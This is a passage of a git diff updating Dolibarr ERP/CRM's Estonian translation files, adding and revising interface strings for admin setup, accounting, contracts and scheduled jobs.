      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Store computed field ComputedpersistentDesc=Computed extra fields will be stored in the database, however, the value will only be recalculated when the object of this field is changed. If the computed field depends on other objects or global data this value might be wrong!! ExtrafieldParamHelpPassword=Leaving this field blank means this value will be stored without encryption (field must be only hidden with star on screen).
      Set 'auto' to use the default encryption rule to save password into database (then value read will be the hash only, no way to retrieve original value) @@ -501,7 +503,8 @@ WarningPHPMail=WARNING: The setup to send emails from the application is using t WarningPHPMailA=- Using the server of the Email Service Provider increases the trustability of your email, so it increases the deliverablity without being flagged as SPAM WarningPHPMailB=- Some Email Service Providers (like Yahoo) do not allow you to send an email from another server than their own server. Your current setup uses the server of the application to send email and not the server of your email provider, so some recipients (the one compatible with the restrictive DMARC protocol), will ask your email provider if they can accept your email and some email providers (like Yahoo) may respond "no" because the server is not theirs, so few of your sent Emails may not be accepted for delivery (be careful also of your email provider's sending quota). WarningPHPMailC=- Using the SMTP server of your own Email Service Provider to send emails is also interesting so all emails sent from application will also be saved into your "Sent" directory of your mailbox. -WarningPHPMailD=Also, it is therefore recommended to change the sending method of e-mails to the value "SMTP". If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by setting the MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP constant to 1 in Home - Setup - Other. +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=If your email SMTP provider need to restrict email client to some IP addresses (very rare), this is the IP address of the mail user agent (MUA) for your ERP CRM application: %s. WarningPHPMailSPF=If the domain name in your sender email address is protected by a SPF record (ask your domain name registar), you must add the following IPs in the SPF record of the DNS of your domain: %s. ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Example:
      For the form to create a new third PageUrlForDefaultValuesList=
      Example:
      For the page that lists third parties, it is %s.
      For URL of external modules installed into custom directory, do not include the "custom/" so use a path like mymodule/mypagelist.php and not custom/mymodule/mypagelist.php.
      If you want default value only if url has some parameter, you can use %s AlsoDefaultValuesAreEffectiveForActionCreate=Also note that overwritting default values for form creation works only for pages that were correctly designed (so with parameter action=create or presend...) EnableDefaultValues=Lubage vaikeväärtuste kohandamine -EnableOverwriteTranslation=Lubage ülekirjutatud tõlke kasutamine +EnableOverwriteTranslation=Allow customization of translations GoIntoTranslationMenuToChangeThis=A translation has been found for the key with this code. To change this value, you must edit it from Home-Setup-translation. WarningSettingSortOrder=Warning, setting a default sort order may result in a technical error when going on the list page if field is an unknown field. If you experience such an error, come back to this page to remove the default sort order and restore default behavior. Field=Väli @@ -643,11 +646,13 @@ Module2300Name=Plaanitud käivitused Module2300Desc=Scheduled jobs management (alias cron or chrono table) Module2400Name=Events/Agenda Module2400Desc=Track events. Log automatic events for tracking purposes or record manual events or meetings. This is the principal module for good Customer or Vendor Relationship Management. +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=DMS / ECM Module2500Desc=Document Management System / Electronic Content Management. Automatic organization of your generated or stored documents. Share them when you need. -Module2600Name=API/Web services (SOAP server) +Module2600Name=API / Web services (SOAP server) Module2600Desc=Lülita sisse Dolibarri SOAPi server API võimaldamiseks -Module2610Name=API/Web services (REST server) +Module2610Name=API / Web services (REST server) Module2610Desc=Enable the Dolibarr REST server providing API services Module2660Name=Call WebServices (SOAP client) Module2660Desc=Enable the Dolibarr web services client (Can be used to push data/requests to external servers. Only Purchase orders are currently supported.) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=GeoIP Maxmind konverteerimise võimekus Module3200Name=Unalterable Archives Module3200Desc=Enable an unalterable log of business events. Events are archived in real-time. The log is a read-only table of chained events that can be exported. This module may be mandatory for some countries. +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=Sotsiaalvõrgud Module3400Desc=Enable Social Networks fields into third parties and addresses (skype, twitter, facebook, ...). Module4000Name=Personalihaldus @@ -698,7 +705,10 @@ Module62000Name=Incoterms Module62000Desc=Add features to manage Incoterms Module63000Name=Ressursid Module63000Desc=Manage resources (printers, cars, rooms, ...) for allocating to events -Permission11=Müügiarvete vaatamine +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Receptions +Permission11=Read customer invoices (and payments) Permission12=Müügiarvete loomine/toimetamine Permission13=Invalidate customer invoices Permission14=Müügiarvete kinnitamine @@ -842,9 +852,9 @@ Permission286=Kontaktide ekspor Permission291=Tariifide vaatamine Permission292=Tariifide õiguste seadmine Permission293=Modify customer's tariffs -Permission300=Read barcodes -Permission301=Create/modify barcodes -Permission302=Delete barcodes +Permission301=Generate PDF sheets of barcodes +Permission304=Create/modify barcodes +Permission305=Delete barcodes Permission311=Teenuste vaatamine Permission312=Assign service/subscription to contract Permission331=Järjehoidjate vaatamine @@ -940,7 +950,7 @@ Permission1190=Approve (second approval) purchase orders Permission1191=Export supplier orders and their attributes Permission1201=Eksportimise tulemuse kätte saamine Permission1202=Ekspordi loomine/muutmine -Permission1231=Read vendor invoices +Permission1231=Read vendor invoices (and payments) Permission1232=Create/modify vendor invoices Permission1233=Validate vendor invoices Permission1234=Delete vendor invoices @@ -971,13 +981,14 @@ Permission3301=Generate new modules Permission4001=Read skill/job/position Permission4002=Create/modify skill/job/position Permission4003=Delete skill/job/position -Permission4020=Read evaluations -Permission4021=Create/modify your evaluation -Permission4022=Validate evaluation -Permission4023=Delete evaluation -Permission4030=See comparison menu +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Validate evaluation +Permission4025=Delete evaluation +Permission4028=See comparison menu Permission4031=Read personal information Permission4032=Write personal information +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=Read website content Permission10002=Create/modify website content (html and javascript content) Permission10003=Create/modify website content (dynamic php code). Dangerous, must be reserved to restricted developers. @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=Type of disposal of assets TypeOfUnit=Type of unit SetupSaved=Seadistused salvestatud SetupNotSaved=Setup not saved +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=Back to Module list BackToDictionaryList=Back to Dictionaries list TypeOfRevenueStamp=Type of tax stamp @@ -1222,7 +1237,7 @@ SetupDescription4=%s -> %s

      This software is a suite of m SetupDescription5=Other Setup menu entries manage optional parameters. SetupDescriptionLink=%s - %s SetupDescription3b=Basic parameters used to customize the default behavior of your application (e.g for country-related features). -SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be enabled and configured. Menu entries will appears with the activation of these modules. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=Security events that are audited NoSecurityEventsAreAduited=No security events are audited. You can enable them from menu %s Audit=Security events @@ -1244,6 +1259,7 @@ AreaForAdminOnly=Setup parameters can be set by administrator users only. SystemInfoDesc=Süsteemi info sisaldab mitmesugust tehnilist infot, mida ei saa muuta ning mis on nähtav vaid administraatoritele. SystemAreaForAdminOnly=This area is available to administrator users only. Dolibarr user permissions cannot change this restriction. CompanyFundationDesc=Edit the information of your company/organization. Click on "%s" button at the bottom of the page when done. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=If you have an external accountant/bookkeeper, you can edit here its information. AccountantFileNumber=Accountant code DisplayDesc=Parameters affecting the look and presentation of the application can be modified here. @@ -1261,6 +1277,7 @@ TriggerActiveAsModuleActive=Selles failis olevad trigerid on aktiivsed, kuna moo GeneratedPasswordDesc=Choose the method to be used for auto-generated passwords. DictionaryDesc=Insert all reference data. You can add your values to the default. ConstDesc=This page allows you to edit (override) parameters not available in other pages. These are mostly reserved parameters for developers/advanced troubleshooting only. +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=All other security related parameters are defined here. LimitsSetup=Piiride/täpsuse seadistamine LimitsDesc=You can define limits, precisions and optimizations used by Dolibarr here @@ -1294,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=Antud käsu peab käivitama kä YourPHPDoesNotHaveSSLSupport=Antud PHP ei võimalda SSL funktsioone DownloadMoreSkins=Veel alla laetavaid kujundusi SimpleNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset SimpleNumRefNoDateModelDesc=Returns the reference number in the format %s-nnnn where nnnn is a sequential auto-incrementing number with no reset ShowProfIdInAddress=Show professional ID with addresses ShowVATIntaInAddress=Hide intra-Community VAT number @@ -1380,7 +1399,7 @@ GetBarCode=Hangi triipkood NumberingModules=Numbering models DocumentModules=Document models ##### Module password generation -PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters in lowercase. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=Do not suggest a generated password. Password must be typed in manually. PasswordGenerationPerso=Return a password according to your personally defined configuration. SetupPerso=According to your configuration @@ -1434,6 +1453,10 @@ SuppliersPayment=Tarnija maksed SupplierPaymentSetup=Vendor payments setup InvoiceCheckPosteriorDate=Check facture date before validation InvoiceCheckPosteriorDateHelp=Validating an invoice will be forbidden if its date is anterior to the date of last invoice of same type. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=Pakkumiste mooduli seadistamine ProposalsNumberingModules=Pakkumiste numeratsiooni mudelid @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=Vesimärk lepingu mustanditel (mitte midagi, kui t ##### Members ##### MembersSetup=Liikmete mooduli seadistamine MemberMainOptions=Põhilised seaded +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= Halda iga liikme kasutajanime AdherentMailRequired=Email required to create a new member MemberSendInformationByMailByDefault=Liikmetele e-kirja kinnituse saatmise (kinnitamise või uue tellimuse puhul) märkeruut on vaikimisi valitud MemberCreateAnExternalUserForSubscriptionValidated=Create an external user login for each new member subscription validated -VisitorCanChooseItsPaymentMode=Visitor can choose from available payment modes +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=Enable automatic reminder by email of expired subscriptions. Note: Module %s must be enabled and correctly setup to send reminders. MembersDocModules=Document templates for documents generated from member record ##### LDAP setup ##### @@ -1742,8 +1766,8 @@ ActivateFCKeditor=Aktiveeri keerulisem toimeti järgmistel lehtedel: FCKeditorForNotePublic=WYSIWIG creation/edition of the field "public notes" of elements FCKeditorForNotePrivate=WYSIWIG creation/edition of the field "private notes" of elements FCKeditorForCompany=WYSIWIG creation/edition of the field description of elements (except products/services) -FCKeditorForProduct=WYSIWIG creation/edition of the field description of products/services -FCKeditorForProductDetails=WYSIWIG creation/edition of products details lines for all entities (proposals, orders, invoices, etc...). Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= WYSIWIG loomine/muutmine masspostitusel (Tööriistad->E-kirjad) FCKeditorForUserSignature=WYSIWIG loomine/muutmine kasutaja allkirjas FCKeditorForMail=WYSIWIG creation/edition for all mail (except Tools->eMailing) @@ -1766,7 +1790,7 @@ DetailMenuHandler=Menüü töötleja uue menüü asukoha jaoks DetailMenuModule=Mooduli nimi, kui menüükanne tuleb moodulist DetailType=Menüü tüüp (üleval või vasakul) DetailTitre=Menüü etikett või silt koodis tõlkimise jaoks -DetailUrl=URL, kuhu menüü saadab (täielik URLi link või väline link http:// kujul) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=Tingimus kande näitamiseks või mitte näitamiseks DetailRight=Volitamata hallide menüüde näitamise tingimus DetailLangs=Keelefaili nimi siltide koodide tõlke jaoks @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Use events types (managed in menu Setup -> Dictionaries -> AGENDA_USE_EVENT_TYPE_DEFAULT=Automatically set this default value for type of event in event create form AGENDA_DEFAULT_FILTER_TYPE=Automatically set this type of event in search filter of agenda view AGENDA_DEFAULT_FILTER_STATUS=Automatically set this status for events in search filter of agenda view +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=Which view do you want to open by default when selecting menu Agenda AGENDA_REMINDER_BROWSER=Enable event reminder on user's browser (When remind date is reached, a popup is shown by the browser. Each user can disable such notifications from its browser notification setup). AGENDA_REMINDER_BROWSER_SOUND=Enable sound notification @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Stock decrease in POS is not compatib CashDeskYouDidNotDisableStockDecease=You did not disable stock decrease when making a sale from Point of Sale. Hence a warehouse is required. CashDeskForceDecreaseStockLabel=Stock decrease for batch products was forced. CashDeskForceDecreaseStockDesc=Decrease first by the oldest eatby and sellby dates. -CashDeskReaderKeyCodeForEnter=Key code for "Enter" defined in barcode reader (Example: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=Järjehoidjate mooduli seadistamine BookmarkDesc=This module allows you to manage bookmarks. You can also add shortcuts to any Dolibarr pages or external web sites on your left menu. @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Vendor invoices numbering models IfSetToYesDontForgetPermission=If set to a non null value, don't forget to provide permissions to groups or users allowed for the second approval ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=GeoIP Maxmind mooduli seadistamine -PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation.
      Examples:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=Pane tähele, et IP-aadressi ja riiki siduv andmefail peab olema PHP poolt loetavas kaustas (kontrolli PHP open_basedir seadistust ja failisüsteemi õigusi). YouCanDownloadFreeDatFileTo=Maxmind GeoIP tasuta demo versiooni saab alla laadida aadressilt %s. YouCanDownloadAdvancedDatFileTo=Maxmind GeoIP täielikuma uuendustega versiooni saab alla laadida aadressilt %s. @@ -1926,6 +1953,7 @@ BackupDumpWizard=Wizard to build the database dump file BackupZipWizard=Wizard to build the archive of documents directory SomethingMakeInstallFromWebNotPossible=Installation of external module is not possible from the web interface for the following reason: SomethingMakeInstallFromWebNotPossible2=For this reason, process to upgrade described here is a manual process only a privileged user may perform. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=Install of external module from application has been disabled by your administrator. You must ask him to remove the file %s to allow this feature. ConfFileMustContainCustom=Installing or building an external module from application need to save the module files into directory %s. To have this directory processed by Dolibarr, you must setup your conf/conf.php to add the 2 directive lines:
      $dolibarr_main_url_root_alt='/custom';
      $dolibarr_main_document_root_alt='%s/custom'; HighlightLinesOnMouseHover=Highlight table lines when mouse move passes over @@ -2053,6 +2081,8 @@ RemoveSpecialChars=Remove special characters COMPANY_AQUARIUM_CLEAN_REGEX=Regex filter to clean value (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Regex filter to clean value (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Duplicate not allowed +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=Data Protection Officer (DPO, Data Privacy or GDPR contact) GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here HelpOnTooltip=Help text to show on tooltip @@ -2080,6 +2110,7 @@ MailboxTargetDirectory=Mailbox target directory EmailcollectorOperations=Operations to do by collector EmailcollectorOperationsDesc=Operations are executed from top to bottom order MaxEmailCollectPerCollect=Max number of emails collected per collect +TestCollectNow=Test collect CollectNow=Collect now ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s? DateLastCollectResult=Date of latest collect try @@ -2109,6 +2140,7 @@ CodeLastResult=Latest result code NbOfEmailsInInbox=Number of emails in source directory LoadThirdPartyFromName=Load third party searching on %s (load only) LoadThirdPartyFromNameOrCreate=Load third party searching on %s (create if not found) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=Save attached files into object documents if a ref of an object is found into email topic. WithDolTrackingID=Message from a conversation initiated by a first email sent from Dolibarr WithoutDolTrackingID=Message from a conversation initiated by a first email NOT sent from Dolibarr @@ -2183,6 +2215,7 @@ ShowProjectLabel=Project Label PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=If you want to have some texts in your PDF duplicated in 2 different languages in the same generated PDF, you must set here this second language so generated PDF will contains 2 different languages in same page, the one chosen when generating PDF and this one (only few PDF templates support this). Keep empty for 1 language per PDF. PDF_USE_A=Gererate PDF documents with format PDF/A instead of defaut format PDF FafaIconSocialNetworksDesc=Enter here the code of a FontAwesome icon. If you don't know what is FontAwesome, you can use the generic value fa-address-book. @@ -2211,12 +2244,12 @@ MailToPartnership=Partnership AGENDA_EVENT_DEFAULT_STATUS=Default event status when creating a event from the form YouShouldDisablePHPFunctions=You should disable PHP functions IfCLINotRequiredYouShouldDisablePHPFunctions=Except if you need to run system commands in custom code, you shoud disable PHP functions -PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an anitivurs program), you must keep PHP functions +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=No writable files or directories of the common programs were found into your root directory (Good) RecommendedValueIs=Recommended: %s Recommended=Soovitatav NotRecommended=Not recommended -ARestrictedPath=Some restricted path +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=Check for external modules updates CheckForModuleUpdateHelp=This action will connect to editors of external modules to check if a new version is available. ModuleUpdateAvailable=An update is available @@ -2264,10 +2297,10 @@ LateWarningAfter="Late" warning after TemplateforBusinessCards=Template for a business card in different size InventorySetup= Inventory Setup ExportUseLowMemoryMode=Use a low memory mode -ExportUseLowMemoryModeHelp=Use the low memory mode to execute the exec of the dump (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that file is completed and error message can't be reported if it fails. +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Webhook setup Settings = Seaded WebhookSetupPage = Webhook setup page @@ -2288,6 +2321,8 @@ IconOnly=Icon only - Text on tooltip only INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. IfThisCategoryIsChildOfAnother=If this category is a child of another one DarkThemeMode=Dark theme mode @@ -2307,3 +2342,37 @@ UsePassword=Use a password UseOauth=Use a OAUTH token Images=Images MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +ScriptIsEmpty=The script is empty +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=Triggerable events +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/et_EE/compta.lang b/htdocs/langs/et_EE/compta.lang index af41d62219d..53db841f4d9 100644 --- a/htdocs/langs/et_EE/compta.lang +++ b/htdocs/langs/et_EE/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Balance (before) Balance=Saldo Debit=Deebet Credit=Kreedit +AccountingDebit=Deebet +AccountingCredit=Kreedit Piece=Konto dok. AmountHTVATRealReceived=Kogutud neto AmountHTVATRealPaid=Makstud neto @@ -146,9 +148,11 @@ ConfirmPaySalary=Are you sure you want to classify this salary card as paid? DeleteSocialContribution=Delete a social or fiscal tax payment DeleteVAT=Delete a VAT declaration DeleteSalary=Delete a salary card +DeleteVariousPayment=Delete a various payment ConfirmDeleteSocialContribution=Are you sure you want to delete this social/fiscal tax payment ? ConfirmDeleteVAT=Are you sure you want to delete this VAT declaration ? -ConfirmDeleteSalary=Are you sure you want to delete this salary? +ConfirmDeleteSalary=Are you sure you want to delete this salary ? +ConfirmDeleteVariousPayment=Are you sure you want to delete this various payment ? ExportDataset_tax_1=Social and fiscal taxes and payments CalcModeVATDebt=Režiim %stekkepõhise raamatupidamise KM%s. CalcModeVATEngagement=Režiim %stulude-kulude KM%s. @@ -242,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=The report of Turnover colle TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=The report of Turnover collected per sale tax rate is not available. This report is only available for turnover invoiced. CalculationMode=Arvutusrežiim AccountancyJournal=Accounting code journal -ACCOUNTING_VAT_SOLD_ACCOUNT=Accounting account by default for VAT on sales (used if not defined on VAT dictionary setup) -ACCOUNTING_VAT_BUY_ACCOUNT=Accounting account by default for VAT on purchases (used if not defined on VAT dictionary setup) -ACCOUNTING_VAT_PAY_ACCOUNT=Accounting account by default for paying VAT -ACCOUNTING_ACCOUNT_CUSTOMER=Accounting account used for customer third parties +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated customer accounting account on third party is not defined. -ACCOUNTING_ACCOUNT_SUPPLIER=Accounting account used for vendor third parties +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated vendor accounting account on third party is not defined. ConfirmCloneTax=Confirm the clone of a social/fiscal tax ConfirmCloneVAT=Confirm the clone of a VAT declaration @@ -287,9 +291,9 @@ ReportPurchaseTurnover=Purchase turnover invoiced ReportPurchaseTurnoverCollected=Purchase turnover collected IncludeVarpaysInResults = Include various payments in reports IncludeLoansInResults = Include loans in reports -InvoiceLate30Days = Invoices late (> 30 days) -InvoiceLate15Days = Invoices late (15 to 30 days) -InvoiceLateMinus15Days = Invoices late (< 15 days) +InvoiceLate30Days = Late (> 30 days) +InvoiceLate15Days = Late (15 to 30 days) +InvoiceLateMinus15Days = Late (< 15 days) InvoiceNotLate = To be collected (< 15 days) InvoiceNotLate15Days = To be collected (15 to 30 days) InvoiceNotLate30Days = To be collected (> 30 days) @@ -298,3 +302,4 @@ InvoiceToPay15Days=To pay (15 to 30 days) InvoiceToPay30Days=To pay (> 30 days) ConfirmPreselectAccount=Preselect accountancy code ConfirmPreselectAccountQuestion=Are you sure you want to preselect the %s selected lines with this accountancy code ? +AmountPaidMustMatchAmountOfDownPayment=Amount paid must match amount of down payment diff --git a/htdocs/langs/et_EE/contracts.lang b/htdocs/langs/et_EE/contracts.lang index bf42bc2460c..faf78241dff 100644 --- a/htdocs/langs/et_EE/contracts.lang +++ b/htdocs/langs/et_EE/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=Lepingud/Tellimused ContractsAndLine=Contracts and line of contracts Contract=Leping ContractLine=Lepingu rida +ContractLines=Contract lines Closing=Sulgemine NoContracts=Lepinguid pole MenuServices=Teenused @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=Are you sure you want to delete this contract line? MoveToAnotherContract=Liiguta teenus mõnda teise lepingusse. ConfirmMoveToAnotherContract=Valisin uue lepingu ja kinnitan, et soovin selle teenuse viia üle sellesse lepingusse. ConfirmMoveToAnotherContractQuestion=Choose in which existing contract (of same third party), you want to move this service to? -PaymentRenewContractId=Pikenda lepingu rida (number %s) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=Aegumistähtaeg NoExpiredServices=Aegunud aktiivseid teenuseid ei ole ListOfServicesToExpireWithDuration=%s päeva pärast aeguvate teenuste nimekiri @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=Kliendi kontakt, kes allkirjastas lepi HideClosedServiceByDefault=Hide closed services by default ShowClosedServices=Show Closed Services HideClosedServices=Hide Closed Services +UserStartingService=User starting service +UserClosingService=User closing service diff --git a/htdocs/langs/et_EE/cron.lang b/htdocs/langs/et_EE/cron.lang index bce6fea2e1c..107cdc76e22 100644 --- a/htdocs/langs/et_EE/cron.lang +++ b/htdocs/langs/et_EE/cron.lang @@ -26,7 +26,7 @@ CronCommand=Käsk CronList=Plaanitud käivitused CronDelete=Delete scheduled jobs CronConfirmDelete=Are you sure you want to delete these scheduled jobs? -CronExecute=Launch scheduled job +CronExecute=Launch now CronConfirmExecute=Are you sure you want to execute these scheduled jobs now? CronInfo=Scheduled job module allows to schedule jobs to execute them automatically. Jobs can also be started manually. CronTask=Tegevus @@ -58,7 +58,7 @@ CronNote=Kommentaar CronFieldMandatory=Välja %s täitmine on nõutud CronErrEndDateStartDt=Lõppkuupäev ei saa olla alguskuupäevast varasem StatusAtInstall=Status at module installation 